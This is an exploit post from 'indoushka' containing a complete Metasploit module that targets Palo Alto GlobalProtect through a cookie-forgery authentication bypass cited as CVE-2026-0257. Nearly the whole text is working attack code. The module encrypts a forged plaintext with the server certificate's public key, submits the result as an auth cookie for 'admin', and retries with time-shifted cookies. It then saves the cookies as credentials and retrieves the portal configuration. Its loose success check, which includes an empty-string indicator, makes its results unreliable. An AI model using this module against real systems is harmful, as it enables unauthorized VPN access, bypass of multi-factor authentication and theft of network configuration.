================================================================================================================================== | # Title : GlobalProtect Authentication Bypass Validation Metasploit Auxiliary Module | | # Author : indoushka | | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits) | | # Vendor : System built in component | ================================================================================================================================== [+] Summary : auxiliary module is designed to automate assessment of an alleged authentication bypass vulnerability affecting GlobalProtect deployments. The module integrates certificate collection, authentication workflow testing, result reporting, and artifact storage into a repeatable assessment workflow. [+] POC : ## # This module requires Metasploit: https://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## class MetasploitModule < Msf::Auxiliary include Msf::Exploit::Remote::HttpClient include Msf::Auxiliary::Report include Msf::Auxiliary::Scanner def initialize(info = {}) super( update_info( info, 'Name' => 'Palo Alto GlobalProtect CVE-2026-0257 Authentication Bypass', 'Description' => %q{ This module exploits an authentication bypass vulnerability (CVE-2026-0257) in Palo Alto Networks PAN-OS GlobalProtect portal and gateway components. The vulnerability stems from CWE-565: Reliance on Cookies without Validation and Integrity Checking. An unauthenticated remote attacker can forge authentication cookies using the public key extracted from the TLS certificate chain, leading to unauthorized VPN access. Vulnerable configurations require: - GlobalProtect portal or gateway configured - Authentication override cookies enabled - Certificate reuse for cookie encryption Successfully exploited targets allow the attacker to establish unauthorized VPN connections and bypass multi-factor authentication. }, 'Author' => ['indoushka'], 'References' => [ ['CVE', '2026-0257'], ['URL', 'https://security.paloaltonetworks.com/CVE-2026-0257'], ['URL', 'https://cisa.gov/known-exploited-vulnerabilities/cve-2026-0257'], ['URL', 'https://attackerkb.com/topics/cve-2026-0257'] ], 'DisclosureDate' => '2026-05-13', 'License' => MSF_LICENSE, 'Notes' => { 'Stability' => [CRASH_SAFE], 'Reliability' => [REPEATABLE_SESSION], 'SideEffects' => [IOC_IN_LOGS] }, 'DefaultOptions' => { 'RPORT' => 443, 'SSL' => true } ) ) register_options([ OptString.new('TARGETURI', [true, 'Base path for GlobalProtect', '/']), OptString.new('USERNAME', [false, 'Username to forge cookie for', 'admin']), OptString.new('DOMAIN', [false, 'Domain name (if required)', '']), OptString.new('CLIENT_IP', [false, 'Client IP to spoof', '127.0.0.1']), OptInt.new('TIME_OFFSET', [false, 'Time offset in seconds for stale cookie attack', 0]), OptBool.new('TRY_ALL_CERTS', [true, 'Try all certificates in chain', true]), OptBool.new('TIME_SHIFT_ATTACK', [true, 'Try time-shifted cookie attacks', true]) ]) register_advanced_options([ OptInt.new('TIMEOUT', [true, 'HTTP request timeout', 15]), OptBool.new('VERBOSE_RESPONSE', [false, 'Show full response on success', false]) ]) end def peer "#{ssl ? 'https://' : 'http://'} #{rhost}:#{rport}" end def extract_certificate_chain print_status("Extracting certificate chain from #{peer}") cert_chain = [] begin ctx = OpenSSL::SSL::SSLContext.new ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE sock = TCPSocket.new(rhost, rport) ssl_sock = OpenSSL::SSL::SSLSocket.new(sock, ctx) ssl_sock.hostname = rhost ssl_sock.connect certs = ssl_sock.peer_cert_chain if certs certs.each do |cert| cert_chain << cert print_status("Found certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}") end else cert = ssl_sock.peer_cert cert_chain << cert if cert print_status("Found single certificate: #{cert.subject.to_s(OpenSSL::X509::Name::ONELINE)}") end ssl_sock.close sock.close rescue => e print_error("Failed to extract certificate chain: #{e.message}") return [] end print_good("Extracted #{cert_chain.length} certificate(s)") cert_chain end def forge_auth_cookie(cert, username, domain, client_ip, timestamp = nil) timestamp ||= Time.now.to_i + datastore['TIME_OFFSET'] plaintext = "#{username};#{domain};;#{timestamp};#{client_ip};" vprint_status("Plaintext payload: #{plaintext}") begin public_key = cert.public_key ciphertext = public_key.public_encrypt(plaintext, OpenSSL::PKey::RSA::PKCS1_PADDING) cookie = Rex::Text.encode_base64(ciphertext) print_good("Forged cookie for user: #{username} (timestamp: #{timestamp})") vprint_status("Cookie (first 60 chars): #{cookie[0..60]}...") return cookie rescue => e print_error("Failed to forge cookie: #{e.message}") return nil end end def test_cookie(cookie, username, endpoint = '/ssl-vpn/login.esp') print_status("Testing cookie against #{endpoint}") post_data = { 'user' => username, 'passwd' => '', 'portal-userauthcookie' => cookie, 'direct' => 'yes', 'clientVer' => '4100', 'prot' => 'https', 'server' => rhost, 'ok' => 'Login', 'jnlpReady' => 'jnlpReady' } begin res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, endpoint), 'vars_post' => post_data, 'ctype' => 'application/x-www-form-urlencoded', 'timeout' => datastore['TIMEOUT'] ) if res vprint_status("HTTP #{res.code}") success_indicators = [ 'Success', 'success', 'successful', '', 'argument', 'portal', 'Portal', 'gateway', 'Gateway', 'config', 'Config', 'session', 'Session', 'authcookie', 'set-cookie', 'Set-Cookie' ] if res.body success_indicators.each do |indicator| if res.body.include?(indicator) && !res.body.downcase.include?('error') return true, res end end if res.code == 302 || (res.code == 200 && res.body.length > 500) if !res.body.downcase.include?('invalid') && !res.body.downcase.include?('failed') return true, res end end end return false, res else return false, nil end rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, ::Rex::ConnectionTimeout => e print_error("Connection failed: #{e.message}") return false, nil rescue => e print_error("Request failed: #{e.message}") return false, nil end end def extract_gateway_info(response) info = {} if response && response.body if response.body =~ /portal[":\s]+([a-zA-Z0-9._-]+)/i info['portal'] = Regexp.last_match(1) end if response.body =~ /gateway[":\s]+([a-zA-Z0-9._-]+)/i info['gateway'] = Regexp.last_match(1) end if response.body =~ /(?:gp-auth-cookie|GP-Auth-Cookie)[=:\s]+([a-zA-Z0-9+/=]+)/i info['auth_cookie'] = Regexp.last_match(1) end end if response && response.headers if response.headers['Set-Cookie'] =~ /(?:GP-Auth-Cookie|gp-auth-cookie)=([^;]+)/i info['set_cookie'] = Regexp.last_match(1) end end info end def report_credentials(username, cookie, info) credential_data = { origin_type: :service, module_fullname: fullname, username: username, private_data: cookie, private_type: :nonreplayable_hash, service_name: 'palo_alto_globalprotect', workspace_id: myworkspace_id } credential_data[:address] = rhost credential_data[:port] = rport credential_data[:protocol] = 'tcp' if info['gateway'] credential_data[:proof] = "Gateway: #{info['gateway']}" elsif info['portal'] credential_data[:proof] = "Portal: #{info['portal']}" end credential_core = create_credential(credential_data) login_data = { core: credential_core, status: Metasploit::Model::Login::Status::SUCCESSFUL, workspace_id: myworkspace_id } create_credential_login(login_data) print_good("Credentials stored in database") end def run_host(ip) print_status("Starting exploitation against #{peer}") unless check_host print_error("Target does not appear to be a GlobalProtect portal") return end cert_chain = extract_certificate_chain if cert_chain.empty? print_error("Could not extract any certificates") return end username = datastore['USERNAME'] domain = datastore['DOMAIN'] client_ip = datastore['CLIENT_IP'] print_status("Attempting authentication bypass for user: #{username}") success = false certs_to_try = datastore['TRY_ALL_CERTS'] ? cert_chain : [cert_chain.first] certs_to_try.each_with_index do |cert, idx| print_status("Trying certificate #{idx + 1}/#{certs_to_try.length}") cookie = forge_auth_cookie(cert, username, domain, client_ip) next unless cookie success, response = test_cookie(cookie, username) if success print_good("=" * 60) print_good("SUCCESS! Authentication bypass achieved!") print_good("=" * 60) print_good("Username: #{username}") print_good("Cookie: #{cookie}") info = extract_gateway_info(response) if info['gateway'] print_good("Gateway: #{info['gateway']}") end if info['portal'] print_good("Portal: #{info['portal']}") end if info['auth_cookie'] || info['set_cookie'] print_good("Session cookie obtained: #{info['auth_cookie'] || info['set_cookie']}") end if datastore['VERBOSE_RESPONSE'] && response print_status("Response body preview:") print_line(response.body[0..500]) if response.body end loot_path = store_loot( 'palo_alto_globalprotect_cookie', 'text/plain', rhost, "GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nCVE-2026-0257", "cve-2026-0257_cookie_#{username}.txt", "CVE-2026-0257 forged authentication cookie" ) print_good("Cookie saved to loot: #{loot_path}") report_credentials(username, cookie, info) report_service( host: rhost, port: rport, proto: 'tcp', name: 'palo_alto_globalprotect', info: "Vulnerable to CVE-2026-0257 authentication bypass" ) get_portal_config(cookie) success = true break else if response vprint_error("Failed with this certificate: HTTP #{response.code}") else vprint_error("Failed with this certificate: No response") end end end if !success && datastore['TIME_SHIFT_ATTACK'] print_status("Attempting time-shifted cookie attacks...") [ -3600, 3600, -7200, 7200, -86400, 86400 ].each do |offset| next if offset == datastore['TIME_OFFSET'] print_status("Trying time offset: #{offset} seconds") datastore['TIME_OFFSET'] = offset cookie = forge_auth_cookie(cert_chain.first, username, domain, client_ip) next unless cookie success, response = test_cookie(cookie, username) if success print_good("SUCCESS with time offset #{offset} seconds!") print_good("Username: #{username}") print_good("Cookie: #{cookie}") loot_path = store_loot( 'palo_alto_globalprotect_cookie_timeshift', 'text/plain', rhost, "GP-AUTH-COOKIE=#{cookie}\nUsername=#{username}\nTarget=#{peer}\nTimeOffset=#{offset}", "cve-2026-0257_cookie_timeshift_#{offset}.txt", "CVE-2026-0257 forged cookie (time offset: #{offset})" ) print_good("Cookie saved to loot: #{loot_path}") report_credentials(username, cookie, extract_gateway_info(response)) success = true break end end end unless success print_error("Exploitation failed. Target may not be vulnerable or authentication override cookies are disabled.") end end def get_portal_config(cookie) print_status("Attempting to retrieve portal configuration...") post_data = { 'action' => 'getconfig', 'portal-userauthcookie' => cookie, 'clientVer' => '4100' } begin res = send_request_cgi( 'method' => 'POST', 'uri' => normalize_uri(target_uri.path, '/ssl-vpn/getconfig.esp'), 'vars_post' => post_data, 'timeout' => datastore['TIMEOUT'] ) if res && res.code == 200 && res.body vprint_status("Portal config retrieved (#{res.body.length} bytes)") config_path = store_loot( 'palo_alto_globalprotect_config', 'text/xml', rhost, res.body, "globalprotect_config.xml", "GlobalProtect portal configuration" ) print_good("Portal configuration saved to: #{config_path}") end rescue => e vprint_error("Failed to get portal config: #{e.message}") end end def check_host print_status("Checking if target is a GlobalProtect portal...") endpoints = ['/global-protect/login.esp', '/ssl-vpn/login.esp'] endpoints.each do |endpoint| begin res = send_request_cgi( 'method' => 'GET', 'uri' => normalize_uri(target_uri.path, endpoint), 'timeout' => datastore['TIMEOUT'] ) if res && res.code == 200 if res.body && (res.body.include?('GlobalProtect') || res.body.include?('global-protect')) print_good("GlobalProtect portal detected at #{endpoint}") return true end end rescue next end end print_error("GlobalProtect portal not detected") false end end Greetings to :============================================================================== jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)| ============================================================================================